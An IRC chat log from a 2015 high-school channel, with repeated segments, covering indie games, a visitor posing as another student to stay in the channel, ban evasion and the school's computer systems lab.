[2015-03-24T19:28:31-0400] <fwilson> Hyper: yes
[2015-03-24T19:28:36-0400] <fwilson> this is awesome
[2015-03-24T19:28:57-0400] <Hyper> fwilson: I beat it a few years ago, it's so great
[2015-03-24T19:29:32-0400] <fwilson> i just got it
[2015-03-24T19:29:38-0400] <Tamini> i had it for a while
[2015-03-24T19:29:40-0400] <fwilson> i would screenshot my map but "NO SIGNAL"
[2015-03-24T19:29:42-0400] <Tamini> is it worth trying to beat in one sitting
[2015-03-24T19:29:59-0400] <Hyper> yes
[2015-03-24T19:30:28-0400] <Hyper> well
[2015-03-24T19:30:35-0400] <Hyper> maybe a couple on the first go
[2015-03-24T19:30:44-0400] <Tamini> mm ok
[2015-03-24T19:30:46-0400] <Hyper> it can be frustratingly difficult at time
[2015-03-24T19:30:47-0400] <Hyper> s
[2015-03-24T19:31:00-0400] <LittleBobbyTables> Since I'm too lazy to look back, anyone know the issue I was having on microcorruption?
[2015-03-24T19:32:16-0400] <fwilson> Hyper: http://i.fwilson.me/5bW2Kc.png
[2015-03-24T19:32:34-0400] <fwilson> i'm 42 minutes in
[2015-03-24T19:32:37-0400] <Hyper> mmm
[2015-03-24T19:32:45-0400] <Hyper> good progress
[2015-03-24T19:33:01-0400] <fwilson> :D
[2015-03-24T19:56:45-0400] <ubuntor> the last trinket :(
[2015-03-24T20:13:06-0400] <Tamini> i keep forgetting that jumping isnt a thing in this game
[2015-03-24T20:13:42-0400] <+awe> Tamini: lol
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[2015-03-24T20:26:40-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-24T19:02:45-0400] <jwoglom> * poof *
[2015-03-24T19:03:00-0400] <+awe> Oh.
[2015-03-24T19:03:09-0400] <+awe> This is an expensive space just to have it be occupied by figments of my imagination.
[2015-03-24T19:03:49-0400] <jwoglom> i guess it's..slightly more costly than just having imaginary friends?
[2015-03-24T19:16:59-0400] <fwilson> VVVVVV!
[2015-03-24T19:17:07-0400] <Tamini> i'm playing particulars!
[2015-03-24T19:17:16-0400] <Tamini> its a better game it has quantum physics and stuff
[2015-03-24T19:17:26-0400] <fwilson> VVVVV has literally one mechanic
[2015-03-24T19:17:28-0400] <fwilson> *VVVVVV
[2015-03-24T19:18:12-0400] <Tamini> this game you play as a down quark
[2015-03-24T19:18:13-0400] <jwoglom> fwilson: the letter V? :P
[2015-03-24T19:18:15-0400] <Tamini> and learn about particles
[2015-03-24T19:18:43-0400] <fwilson> jwoglom: no
[2015-03-24T19:18:47-0400] <fwilson> reversing gravity
[2015-03-24T19:19:00-0400] <fwilson> i'm going to go play some more
[2015-03-24T19:19:21-0400] <jwoglom> sounds like false advertising
[2015-03-24T19:19:54-0400] <jwoglom> you totally should have just been able to control the character with just the letter v
[2015-03-24T19:21:31-0400] <+awe> jwoglom: lol.
[2015-03-24T19:21:49-0400] <+awe> VVVVV is great because it proves you can make a good game by taking something extremely simple and running with it.
[2015-03-24T19:21:53-0400] <Tamini> fyi, vvvvv is spikes! :P
[2015-03-24T19:25:38-0400] <jwoglom> oh wow, that's really simple but enjoyable
[2015-03-24T19:26:20-0400] <fwilson> vvvvvv is incredible
[2015-03-24T19:26:23-0400] <fwilson> it's on the humble bundle
[2015-03-24T19:26:25-0400] <fwilson> 10/10 would recommend
[2015-03-24T19:27:28-0400] <Hyper> fwilson: vvvvvv is so great
[2015-03-24T19:27:58-0400] <Tamini> i'll play it after i unlock like
[2015-03-24T19:28:01-0400] <Tamini> 3 more particles.
[2015-03-24T19:28:31-0400] <fwilson> Hyper: yes
[2015-03-24T19:28:36-0400] <fwilson> this is awesome
[2015-03-24T19:28:57-0400] <Hyper> fwilson: I beat it a few years ago, it's so great
[2015-03-24T19:29:32-0400] <fwilson> i just got it
[2015-03-24T19:29:38-0400] <Tamini> i had it for a while
[2015-03-24T19:29:40-0400] <fwilson> i would screenshot my map but "NO SIGNAL"
[2015-03-24T19:29:42-0400] <Tamini> is it worth trying to beat in one sitting
[2015-03-24T19:29:59-0400] <Hyper> yes
[2015-03-24T19:30:29-0400] <Hyper> well
[2015-03-24T19:30:35-0400] <Hyper> maybe a couple on the first go
[2015-03-24T19:30:44-0400] <Tamini> mm ok
[2015-03-24T19:30:46-0400] <Hyper> it can be frustratingly difficult at time
[2015-03-24T19:30:47-0400] <Hyper> s
[2015-03-24T19:31:00-0400] <LittleBobbyTables> Since I'm too lazy to look back, anyone know the issue I was having on microcorruption?
[2015-03-24T19:32:16-0400] <fwilson> Hyper: http://i.fwilson.me/5bW2Kc.png
[2015-03-24T19:32:34-0400] <fwilson> i'm 42 minutes in
[2015-03-24T19:32:37-0400] <Hyper> mmm
[2015-03-24T19:32:45-0400] <Hyper> good progress
[2015-03-24T19:33:01-0400] <fwilson> :D
[2015-03-24T19:56:45-0400] <ubuntor> the last trinket :(
[2015-03-24T20:13:06-0400] <Tamini> i keep forgetting that jumping isnt a thing in this game
[2015-03-24T20:13:42-0400] <+awe> Tamini: lol
[2015-03-24T20:25:33-0400] <calc0000> .
[2015-03-24T20:26:40-0400] Mode is +nt
[2015-03-24T20:31:01-0400] <Tamini> ...i'm lost.
[2015-03-24T20:31:23-0400] • bob_twinkles: throws some help in the air
[2015-03-24T20:31:57-0400] <jwoglom> Tamini: i keep wishing I could double-flip, lol
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[2015-03-24T22:06:41-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-24T21:58:26-0400] <sdamashek> ( ͡° ͜ʖ ͡°)
[2015-03-24T21:58:50-0400] <jwoglom> )°͡ ʖ͜ °͡ (
[2015-03-24T21:58:52-0400] <fwilson> ( ͡° ͜ʖ ͡°)
[2015-03-24T21:59:27-0400] <sdamashek> here we go
[2015-03-24T21:59:27-0400] <jwoglom> fwilson: if this is going to be proper windows 9x
[2015-03-24T21:59:32-0400] <jwoglom> it needs some sort of bsod somewhere
[2015-03-24T21:59:38-0400] <fwilson> at the end of the audio
[2015-03-24T21:59:43-0400] <fwilson> i'll implement that after shower
[2015-03-24T22:00:04-0400] <jwoglom> ( ͡° ͜ʖ ͡°)
[2015-03-24T22:00:19-0400] <sdamashek> fwilson: the logos sometimes just stop moving
[2015-03-24T22:00:23-0400] <sdamashek> (windows 95)
[2015-03-24T22:01:35-0400] <z3t> this tj channel doesn't seem too fun
[2015-03-24T22:01:49-0400] <alokpathy> Oh wait can I join?
[2015-03-24T22:01:57-0400] <z3t> freenode #tjhsst
[2015-03-24T22:02:10-0400] <jwoglom> oh, so you're all starting a party, eh? :P
[2015-03-24T22:02:15-0400] <Tamini> wait
[2015-03-24T22:02:17-0400] <jwoglom> should we act like we know you or not
[2015-03-24T22:02:19-0400] <Tamini> who are you actually, z3t?
[2015-03-24T22:02:20-0400] <Tamini> :P
[2015-03-24T22:02:29-0400] <jwoglom> yeah, z3t, I asked you once and you didn't answer :P
[2015-03-24T22:02:49-0400] <alokpathy> There was some deal about web-based clients, right?
[2015-03-24T22:03:00-0400] <jwoglom> we ban freenode web clients
[2015-03-24T22:03:06-0400] <jwoglom> but irccloud and etc aren't banned anymore
[2015-03-24T22:03:13-0400] <alokpathy> Wow now you tell me
[2015-03-24T22:03:18-0400] <alokpathy> I just quit my IRCCloud so I could go on wee
[2015-03-24T22:03:20-0400] <alokpathy> XD
[2015-03-24T22:03:21-0400] <Tamini> also alokpathy 
[2015-03-24T22:03:26-0400] <Tamini> if you want us to vouch for you
[2015-03-24T22:03:28-0400] <Tamini> i'd come on later
[2015-03-24T22:03:33-0400] <Tamini> because then you could actually stay
[2015-03-24T22:03:45-0400] <alokpathy> Oh nice yes
[2015-03-24T22:04:10-0400] <alokpathy> z3t: Do you go to TJ?
[2015-03-24T22:04:46-0400] <jwoglom> no he goes to woodson
[2015-03-24T22:05:12-0400] <z3t> woodson reppin'
[2015-03-24T22:05:19-0400] <Tamini> oh, right
[2015-03-24T22:05:19-0400] <z3t> where's chrissing when I need him
[2015-03-24T22:05:21-0400] <Tamini> you're woodson
[2015-03-24T22:05:26-0400] <Tamini> wait, are you chrissing?
[2015-03-24T22:05:28-0400] <z3t> no
[2015-03-24T22:05:32-0400] <z3t> chrissing goes to woodson too though
[2015-03-24T22:05:38-0400] <Tamini> ook
[2015-03-24T22:05:56-0400] <alokpathy> What do you guys do on the TJ IRC? lol
[2015-03-24T22:06:06-0400] <jwoglom> we talk..about TJ? :P
[2015-03-24T22:06:11-0400] <alokpathy> Wow okay
[2015-03-24T22:06:13-0400] <alokpathy> XD
[2015-03-24T22:06:14-0400] <jwoglom> honestly it's mostly the alums talking about whatever the heck they want
[2015-03-24T22:06:21-0400] <alokpathy> Oh
[2015-03-24T22:06:23-0400] <alokpathy> xd
[2015-03-24T22:06:25-0400] <alokpathy> Hmm
[2015-03-24T22:06:38-0400] <alokpathy> I'm assuming wyang created the channel?
[2015-03-24T22:06:41-0400] <jwoglom> we have a #sekritchannel for current students only
[2015-03-24T22:06:41-0400] <Tamini> dont forget laudiacay shitstorms
[2015-03-24T22:06:41-0400] Mode is +nt
[2015-03-24T22:06:44-0400] <jwoglom> mhm. he does whatever the hell he wants
[2015-03-24T22:06:48-0400] <Tamini> that's a substancial part of #tjhsst
[2015-03-24T22:06:50-0400] <jwoglom> he's only active like once a week
[2015-03-24T22:06:53-0400] <jwoglom> at most
[2015-03-24T22:06:55-0400] <alokpathy> laudicay shitstorm?
[2015-03-24T22:06:56-0400] <Tamini> oh god wyang LOL
[2015-03-24T22:06:58-0400] <z3t> I have plans to terrorize the channel from now on
[2015-03-24T22:07:04-0400] <alokpathy> z3t: Let's do it.
[2015-03-24T22:07:04-0400] <bob_twinkles> wyang didn't actually found the channel, he just has +F
[2015-03-24T22:07:06-0400] <jwoglom> Tamini: did you see the shitstorm we had over that?
[2015-03-24T22:07:15-0400] <jwoglom> it was a good one
[2015-03-24T22:07:15-0400] <Tamini> yeah
[2015-03-24T22:07:18-0400] <Tamini> sdamashek was bad.
[2015-03-24T22:07:18-0400] <sdamashek> it's mostly laudiacay shitstorms, yeah
[2015-03-24T22:07:23-0400] <sdamashek> Tamini: what?
[2015-03-24T22:07:29-0400] <Tamini> wyang shitstorm
[2015-03-24T22:07:31-0400] <Tamini> that was mostly you wasnt it
[2015-03-24T22:07:37-0400] <sdamashek> it was all of us
[2015-03-24T22:07:41-0400] <alokpathy> What is this laudicay shistorm you speak of?
[2015-03-24T22:07:42-0400] <sdamashek> I only committed the hook
[2015-03-24T22:07:43-0400] <jwoglom> we all agreed to do it, lol
[2015-03-24T22:08:50-0400] <Tamini> well you committed 
[2015-03-24T22:08:54-0400] <Tamini> which caused everything
[2015-03-24T22:09:06-0400] <jwoglom> yes but it was still a group effort
[2015-03-24T22:09:19-0400] <bob_twinkles> ^ can confirm, did agree
[2015-03-24T22:09:26-0400] <bob_twinkles> I was just working on something else so I couldn't write the hook
[2015-03-24T22:10:50-0400] <Tamini> heh
[2015-03-24T22:11:22-0400] <bob_twinkles> hmm
[2015-03-24T22:11:49-0400] <bob_twinkles> I wonder if I can somehow get CS op and just have a bot that does nothing but that...
[2015-03-24T22:12:47-0400] <Tamini> god
[2015-03-24T22:12:54-0400] <Tamini> that would get shut down really fast
[2015-03-24T22:13:13-0400] <jwoglom> bob_twinkles: that would be the ultimate shitstorm of shitstorms though
[2015-03-24T22:13:33-0400] <bob_twinkles> even better if I could run it over a TOR network and just have it join when he ops
[2015-03-24T22:13:36-0400] <bob_twinkles> and leave after it deops
[2015-03-24T22:13:40-0400] <bob_twinkles> using my logs
[2015-03-24T22:14:12-0400] <bob_twinkles> I dunno, if I get CS op after I graduate I might do that as my parting gift to the channel
[2015-03-24T22:14:24-0400] <bob_twinkles> right now I still have to actually see hamilton on a regular basis
[2015-03-24T22:14:55-0400] <Tamini> loool
[2015-03-24T22:15:11-0400] <jwoglom> bob_twinkles: yes pls
[2015-03-24T22:15:12-0400] <jwoglom> do it
[2015-03-24T22:15:18-0400] <bob_twinkles> the witchunt to figure out who was running that would be so real though
[2015-03-24T22:15:22-0400] <bob_twinkles> it would be great
[2015-03-24T22:15:36-0400] <jwoglom> z3t: you're due for a kick..right..about..now
[2015-03-24T22:15:38-0400] <sdamashek> bob_twinkles: tor has to authenticate to SASL
[2015-03-24T22:15:47-0400] <sdamashek> I mean
[2015-03-24T22:15:51-0400] <sdamashek> to nickserv through SASL
[2015-03-24T22:15:58-0400] <sdamashek> so unless you want to abuse freenode too, good luck
[2015-03-24T22:16:12-0400] <bob_twinkles> eh fine, AWS/Azure/DO droplets
[2015-03-24T22:16:23-0400] <alokpathy> If you guys want, you can join the #wwp IRC channel.
[2015-03-24T22:16:26-0400] <bob_twinkles> AWS even has an interface for dynamically spinning up instances
[2015-03-24T22:16:26-0400] <alokpathy> It's pretty cool too.
[2015-03-24T22:17:23-0400] <sdamashek> bob_twinkles: I was trolling creffett by starting up an AWS instance, nicking to a variation of "the_game", and PMming him "You just lost the game" every month or so
[2015-03-24T22:17:28-0400] <sdamashek> with an automatic script
[2015-03-24T22:17:35-0400] <bob_twinkles> lol
[2015-03-24T22:17:36-0400] <alokpathy> #wwp on freenode btw
[2015-03-24T22:17:56-0400] <jwoglom> sdamashek: lol. nice
[2015-03-24T22:18:00-0400] <jwoglom> did he ever reply? :P
[2015-03-24T22:18:07-0400] <sdamashek> I dunno, it would instantly quit
[2015-03-24T22:18:10-0400] <sdamashek> and spin down the instance
[2015-03-24T22:18:11-0400] <jwoglom> ooh creffett showed up
[2015-03-24T22:18:12-0400] <ubuntor> oh boy
[2015-03-24T22:18:21-0400] <bob_twinkles> the "deop wyang" thing is a bit harder though since it requires having an account with CS +o
[2015-03-24T22:18:28-0400] <Tamini> advice um
[2015-03-24T22:18:28-0400] <bob_twinkles> which would be relatively easy to audit
[2015-03-24T22:18:32-0400] <Tamini> alokpathy: if you wanna stay, own up
[2015-03-24T22:18:43-0400] <jwoglom> alokpathy: say Eighth Office
[2015-03-24T22:18:43-0400] <bob_twinkles> unless I do something that probably violates the Freenode ToS
[2015-03-24T22:18:47-0400] <jwoglom> graduation year STAFF
[2015-03-24T22:19:08-0400] <alokpathy> Apparently I'm
[2015-03-24T22:19:10-0400] <ubuntor> lol
[2015-03-24T22:19:10-0400] <alokpathy> Aminesh Tripathy now
[2015-03-24T22:19:16-0400] <Tamini> OH LOL
[2015-03-24T22:19:16-0400] <jwoglom> i guess that works, lol
[2015-03-24T22:19:17-0400] <Tamini> WHAT
[2015-03-24T22:19:19-0400] <Tamini> ANIMESH LOL
[2015-03-24T22:19:21-0400] <Tamini> yeah um
[2015-03-24T22:19:23-0400] <ubuntor> this is great
[2015-03-24T22:19:23-0400] <Tamini> stick to that.
[2015-03-24T22:19:24-0400] <Tamini> do it
[2015-03-24T22:19:24-0400] <jwoglom> fwilson: nice going :P
[2015-03-24T22:19:26-0400] <Tamini> doo it
[2015-03-24T22:19:34-0400] <fwilson> alokpathy: lol
[2015-03-24T22:19:55-0400] <alokpathy> Wait my first name is in my nick. Why do they think I'm Aminesh LOL
[2015-03-24T22:20:10-0400] <Tamini> because alok sounds like a totally fake name
[2015-03-24T22:20:16-0400] <Tamini> and atripathy is in our year
[2015-03-24T22:20:20-0400] <Tamini> which makes sense as to how we know you
[2015-03-24T22:20:27-0400] <fwilson> alokpathy: lol this
[2015-03-24T22:20:39-0400] <jwoglom> see how long you can stay :P
[2015-03-24T22:20:42-0400] <alokpathy> huehue
[2015-03-24T22:20:56-0400] <jwoglom> aaaaand..
[2015-03-24T22:20:56-0400] <bob_twinkles> what's going to be really awkward is if the real atripathy shows up
[2015-03-24T22:21:08-0400] <alokpathy> In case anybody interrogates me, you guys have to help me out :P
[2015-03-24T22:22:19-0400] <Tamini> bob_twinkles: he won't
[2015-03-24T22:22:32-0400] <Tamini> i know him well enough that i can pretty much say that with certainty
[2015-03-24T22:22:44-0400] <alokpathy> Should I change my nick to atripathy?
[2015-03-24T22:23:03-0400] <jwoglom> if that happens, you part and it plays off like freenode had issues or something
[2015-03-24T22:23:17-0400] <Tamini> nah stick with it
[2015-03-24T22:23:22-0400] <Tamini> we can pretend alok is a nickname
[2015-03-24T22:23:44-0400] <alokpathy> Lol aight
[2015-03-24T22:24:04-0400] <bob_twinkles> ahamilto gettin on the witchunt game
[2015-03-24T22:24:37-0400] <fwilson> bob_twinkles: i love the control channel
[2015-03-24T22:24:43-0400] <bob_twinkles> it's really great
[2015-03-24T22:24:46-0400] <bob_twinkles> and super usefulf
[2015-03-24T22:24:47-0400] <bob_twinkles> *useful
[2015-03-24T22:24:58-0400] <jwoglom> you silly botadmin people and your exclusive club :P
[2015-03-24T22:25:12-0400] <z3t> this tj channel
[2015-03-24T22:25:12-0400] <fwilson> :>/
[2015-03-24T22:25:16-0400] <Tamini> fwilson: getting caught, smh
[2015-03-24T22:25:19-0400] <fwilson> z3t: to be fair you're just trolling
[2015-03-24T22:25:24-0400] <z3t> whaaaaa
[2015-03-24T22:25:25-0400] <jwoglom> it was pretty obvious though
[2015-03-24T22:25:25-0400] <z3t> nahhhhhh
[2015-03-24T22:25:28-0400] <fwilson> Tamini: i'm not so sure i like alumni in the control channel lol
[2015-03-24T22:25:51-0400] <bob_twinkles> strictly speaking we *could* CS kickban them
[2015-03-24T22:25:56-0400] <jwoglom> i'm kind of surprised creffett hasn't kicked z3t yet
[2015-03-24T22:25:57-0400] <alokpathy> What's a question I could ask that could convince everybody I go to TJ? :P
[2015-03-24T22:25:58-0400] <bob_twinkles> unfortunatly then they'd probably get salty and deop the bot
[2015-03-24T22:26:09-0400] <jwoglom> alokpathy: ask fwilson about the cavendish lab
[2015-03-24T22:26:13-0400] <fwilson> PLEASE NO
[2015-03-24T22:26:30-0400] <alokpathy> So just like
[2015-03-24T22:26:41-0400] <alokpathy> fwilson: "So, how about that cavendish lab?"
[2015-03-24T22:26:43-0400] <fwilson> alokpathy: "what did you get for the derivation of G on the cavendish lab"
[2015-03-24T22:26:43-0400] <alokpathy> xD
[2015-03-24T22:27:09-0400] <fwilson> z3t: rekt
[2015-03-24T22:27:10-0400] <alokpathy> Does Aminesh usually type with capital letters and punctuation and stuff?
[2015-03-24T22:27:20-0400] <fwilson> uh
[2015-03-24T22:27:23-0400] <fwilson> he's never been on the irc channel
[2015-03-24T22:27:26-0400] <alokpathy> Oh cool
[2015-03-24T22:27:45-0400] <bob_twinkles> they get mad as hell if you don't use relatively correct spelling/grammar though
[2015-03-24T22:27:47-0400] <sdamashek> meanwhile I'm just solving a problem of a train accelerating to over the speed of light
[2015-03-24T22:27:55-0400] <sdamashek> precalc/10!
[2015-03-24T22:28:31-0400] <Tamini> wait
[2015-03-24T22:28:34-0400] <Tamini> that's actually pretty bad
[2015-03-24T22:28:37-0400] <jwoglom> huh, no more sdrodge?
[2015-03-24T22:28:45-0400] <Tamini> sdamashek: can I help you by accounting for relativistic effects
[2015-03-24T22:28:53-0400] <alokpathy> And, hm, what does TJ CSL do?
[2015-03-24T22:28:56-0400] <alokpathy> Out of curiosity
[2015-03-24T22:29:01-0400] <Tamini> what did we do to sdroge
[2015-03-24T22:29:01-0400] <sdamashek> TJ CSL is the computer systems lab
[2015-03-24T22:29:03-0400] <Tamini> i liked him :<
[2015-03-24T22:29:06-0400] <jwoglom> sdamashek: does the problem actually ask for any information when it is near the speed of light
[2015-03-24T22:29:08-0400] <alokpathy> sdamashek: Well, I knew that :P
[2015-03-24T22:29:26-0400] <sdamashek> we maintain TJ's external production stuff as well as internal stuff
[2015-03-24T22:29:40-0400] <jwoglom> alokpathy: we have a systems administrator program, and run a lot of network hardware and internal services
[2015-03-24T22:29:45-0400] <sdamashek> so our student intranet, www.tjhsst.edu, our mailservers, DNS, and run a linux research lab
[2015-03-24T22:29:52-0400] <sdamashek> jwoglom: and external
[2015-03-24T22:29:55-0400] <alokpathy> Oh, dang
[2015-03-24T22:29:59-0400] <jwoglom> yeah
[2015-03-24T22:30:11-0400] <sdamashek> jwoglom: no, it's supposed to be "will she catch the train"
[2015-03-24T22:30:18-0400] <jwoglom> sdamashek: ah. nice.
[2015-03-24T22:30:28-0400] <jwoglom> z3t: ok i don't think we're ever going to see you again in #tjhsst
[2015-03-24T22:30:31-0400] <ubuntor> and there we go
[2015-03-24T22:30:31-0400] <jwoglom> lol
[2015-03-24T22:30:35-0400] <Tamini> sdamashek: can you solve that problem using relativity
[2015-03-24T22:30:36-0400] <Tamini> :<
[2015-03-24T22:30:38-0400] <sdamashek> the answer is "no, she doesn't want to, because the train will disintegrate"
[2015-03-24T22:30:52-0400] <fwilson> z3t: ayy lmao
[2015-03-24T22:31:19-0400] <z3t> heh
[2015-03-24T22:31:24-0400] <z3t> gotta go anyways
[2015-03-24T22:31:26-0400] <jwoglom> they banned your nickserv account as well
[2015-03-24T22:31:34-0400] <z3t> I'll just make another >.<
[2015-03-24T22:31:40-0400] <z3t> ligaf
[2015-03-24T22:31:41-0400] <fwilson> i love it when people ban evade
[2015-03-24T22:31:45-0400] <sdamashek> we're pretty good at stopping ban evasion
[2015-03-24T22:31:58-0400] <fwilson> i get to show off my knowledge of extbans
[2015-03-24T22:32:03-0400] <bob_twinkles> I think the best part is how ahamilto and creffett pretend that banning people is anything like using artillery
[2015-03-24T22:32:10-0400] <z3t> also pretty good at being arrogant
[2015-03-24T22:32:41-0400] <sdamashek> well, you're the one trolling :P
[2015-03-24T22:32:42-0400] <z3t> /away
[2015-03-24T22:32:48-0400] <Tamini> lol
[2015-03-24T22:33:11-0400] <fwilson> bob_twinkles: yeah lol
[2015-03-24T22:35:41-0400] <alokpathy> fwilson: You never answered my question :P
[2015-03-24T22:36:04-0400] <jwoglom> oh damn, the alums saying they'll remove the student-produced bot if the students keep acting up!
[2015-03-24T22:36:36-0400] <sdamashek> I don't even care about #tjhsst
[2015-03-24T22:36:43-0400] <sdamashek> only really #sekritchan
[2015-03-24T22:36:58-0400] <alokpathy> Could I join that too?
[2015-03-24T22:37:23-0400] <jwoglom> uh, no, that one stays sekrit :P
[2015-03-24T22:37:31-0400] <alokpathy> plz
[2015-03-24T22:37:44-0400] <sdamashek> == jwoglom 
[2015-03-24T22:37:46-0400] <bob_twinkles> we tend to use that channel for planning events that require actually being TJ students or near NOVA
[2015-03-24T22:37:59-0400] <jwoglom> you can join #sekritchan on freenode if you want for some reason :P
[2015-03-24T22:38:09-0400] <sdamashek> we also have actual sysadmin work channels if we need to use them :P
[2015-03-24T22:38:19-0400] <jwoglom> >implying sysadmin work has been done at all this year
[2015-03-24T22:38:41-0400] <bob_twinkles> fwilson and sdamashek carrying the team there
[2015-03-24T22:39:15-0400] <sdamashek> it actually has
[2015-03-24T22:39:33-0400] <sdamashek> what about moving into the new syslab, lol
[2015-03-24T22:39:41-0400] <jwoglom> true
[2015-03-24T22:39:42-0400] <sdamashek> also internal ssl CA
[2015-03-24T22:39:50-0400] <alokpathy> Darn why can't wwp have a syslab
[2015-03-24T22:39:52-0400] <sdamashek> new 4500x's, etc :P
[2015-03-24T22:39:52-0400] <alokpathy> why are we such nubs
[2015-03-24T22:39:55-0400] <jwoglom> but most of the actual things have been going directly to sdamashek and fwilson 
[2015-03-24T22:39:57-0400] <jwoglom> and no one else
[2015-03-24T22:40:02-0400] <sdamashek> that's not really true
[2015-03-24T22:40:08-0400] <jwoglom> which doesn't exactly help the program
[2015-03-24T22:40:19-0400] <sdamashek> mostly, it's ahamilto saying something needs to be done, and we do it
[2015-03-24T22:40:49-0400] <sdamashek> or bugs being filed
[2015-03-24T22:41:01-0400] <sdamashek> there are plenty of bugs people could work on
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[2015-03-24T22:33:12-0400] <fwilson> bob_twinkles: yeah lol
[2015-03-24T22:35:42-0400] <alokpathy> fwilson: You never answered my question :P
[2015-03-24T22:36:04-0400] <jwoglom> oh damn, the alums saying they'll remove the student-produced bot if the students keep acting up!
[2015-03-24T22:36:36-0400] <sdamashek> I don't even care about #tjhsst
[2015-03-24T22:36:43-0400] <sdamashek> only really #sekritchan
[2015-03-24T22:36:58-0400] <alokpathy> Could I join that too?
[2015-03-24T22:37:23-0400] <jwoglom> uh, no, that one stays sekrit :P
[2015-03-24T22:37:32-0400] <alokpathy> plz
[2015-03-24T22:37:44-0400] <sdamashek> == jwoglom 
[2015-03-24T22:37:47-0400] <bob_twinkles> we tend to use that channel for planning events that require actually being TJ students or near NOVA
[2015-03-24T22:38:00-0400] <jwoglom> you can join #sekritchan on freenode if you want for some reason :P
[2015-03-24T22:38:10-0400] <sdamashek> we also have actual sysadmin work channels if we need to use them :P
[2015-03-24T22:38:20-0400] <jwoglom> >implying sysadmin work has been done at all this year
[2015-03-24T22:38:42-0400] <bob_twinkles> fwilson and sdamashek carrying the team there
[2015-03-24T22:39:16-0400] <sdamashek> it actually has
[2015-03-24T22:39:34-0400] <sdamashek> what about moving into the new syslab, lol
[2015-03-24T22:39:42-0400] <jwoglom> true
[2015-03-24T22:39:43-0400] <sdamashek> also internal ssl CA
[2015-03-24T22:39:51-0400] <alokpathy> Darn why can't wwp have a syslab
[2015-03-24T22:39:53-0400] <sdamashek> new 4500x's, etc :P
[2015-03-24T22:39:53-0400] <alokpathy> why are we such nubs
[2015-03-24T22:39:56-0400] <jwoglom> but most of the actual things have been going directly to sdamashek and fwilson 
[2015-03-24T22:39:58-0400] <jwoglom> and no one else
[2015-03-24T22:40:02-0400] <sdamashek> that's not really true
[2015-03-24T22:40:09-0400] <jwoglom> which doesn't exactly help the program
[2015-03-24T22:40:19-0400] <sdamashek> mostly, it's ahamilto saying something needs to be done, and we do it
[2015-03-24T22:40:49-0400] <sdamashek> or bugs being filed
[2015-03-24T22:41:01-0400] <sdamashek> there are plenty of bugs people could work on
[2015-03-24T22:59:50-0400] <alokpathy> jwoglom: ty bro :P
[2015-03-24T22:59:52-0400] <sdamashek> alokpathy: oh shit you almost got busted there
[2015-03-24T23:00:05-0400] <sdamashek> alokpathy: learn how to spell your name! :P
[2015-03-24T23:00:16-0400] <alokpathy> sdamashek: My bad LOL
[2015-03-24T23:00:21-0400] <alokpathy> I thought it was Aminesh the entire time
[2015-03-24T23:00:23-0400] <alokpathy> until like
[2015-03-24T23:00:25-0400] <alokpathy> now
[2015-03-24T23:00:32-0400] <alokpathy> ....um
[2015-03-24T23:00:36-0400] <jwoglom> uh, claudia
[2015-03-24T23:00:38-0400] <alokpathy> how do I respond to laudiacay LOL
[2015-03-24T23:00:59-0400] <alokpathy> Guys plz halp
[2015-03-24T23:01:42-0400] <alokpathy> sdamashek: Wait waht'd you do? LOL
[2015-03-24T23:01:54-0400] <LittleBobbyTables> alokpathy: tell her to stop ddosing people
[2015-03-24T23:01:55-0400] <ubuntor> rip
[2015-03-24T23:01:57-0400] <jwoglom> claudia.
[2015-03-24T23:02:00-0400] <jwoglom> pls
[2015-03-24T23:02:10-0400] <jwoglom> should be good now
[2015-03-24T23:02:12-0400] <alokpathy> LittleBobbyTables: Wait are you here too?
[2015-03-24T23:02:16-0400] <sdamashek> claudia please
[2015-03-24T23:02:23-0400] <LittleBobbyTables> Am I where?
[2015-03-24T23:02:26-0400] <sdamashek> I don't even claudia
[2015-03-24T23:02:31-0400] <alokpathy> LittleBobbyTables: #tjhsst on freenode
[2015-03-24T23:02:36-0400] Mode is +nt
[2015-03-24T23:02:36-0400] <LittleBobbyTables> nah
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[2015-03-24T23:03:53-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-24T22:40:02-0400] <sdamashek> that's not really true
[2015-03-24T22:40:09-0400] <jwoglom> which doesn't exactly help the program
[2015-03-24T22:40:19-0400] <sdamashek> mostly, it's ahamilto saying something needs to be done, and we do it
[2015-03-24T22:40:49-0400] <sdamashek> or bugs being filed
[2015-03-24T22:41:01-0400] <sdamashek> there are plenty of bugs people could work on
[2015-03-24T22:59:50-0400] <alokpathy> jwoglom: ty bro :P
[2015-03-24T22:59:52-0400] <sdamashek> alokpathy: oh shit you almost got busted there
[2015-03-24T23:00:05-0400] <sdamashek> alokpathy: learn how to spell your name! :P
[2015-03-24T23:00:16-0400] <alokpathy> sdamashek: My bad LOL
[2015-03-24T23:00:21-0400] <alokpathy> I thought it was Aminesh the entire time
[2015-03-24T23:00:23-0400] <alokpathy> until like
[2015-03-24T23:00:25-0400] <alokpathy> now
[2015-03-24T23:00:32-0400] <alokpathy> ....um
[2015-03-24T23:00:36-0400] <jwoglom> uh, claudia
[2015-03-24T23:00:38-0400] <alokpathy> how do I respond to laudiacay LOL
[2015-03-24T23:00:59-0400] <alokpathy> Guys plz halp
[2015-03-24T23:01:42-0400] <alokpathy> sdamashek: Wait waht'd you do? LOL
[2015-03-24T23:01:54-0400] <LittleBobbyTables> alokpathy: tell her to stop ddosing people
[2015-03-24T23:01:55-0400] <ubuntor> rip
[2015-03-24T23:01:57-0400] <jwoglom> claudia.
[2015-03-24T23:02:00-0400] <jwoglom> pls
[2015-03-24T23:02:10-0400] <jwoglom> should be good now
[2015-03-24T23:02:12-0400] <alokpathy> LittleBobbyTables: Wait are you here too?
[2015-03-24T23:02:16-0400] <sdamashek> claudia please
[2015-03-24T23:02:23-0400] <LittleBobbyTables> Am I where?
[2015-03-24T23:02:26-0400] <sdamashek> I don't even claudia
[2015-03-24T23:02:31-0400] <alokpathy> LittleBobbyTables: #tjhsst on freenode
[2015-03-24T23:02:36-0400] <LittleBobbyTables> nah
[2015-03-24T23:02:40-0400] <LittleBobbyTables> webclients are banned
[2015-03-24T23:02:47-0400] <alokpathy> She just PMed me LOL
[2015-03-24T23:02:54-0400] <LittleBobbyTables> ohwait
[2015-03-24T23:02:55-0400] <sdamashek> -_-
[2015-03-24T23:02:55-0400] <LittleBobbyTables> they aren't anymore
[2015-03-24T23:02:56-0400] <LittleBobbyTables> sweet
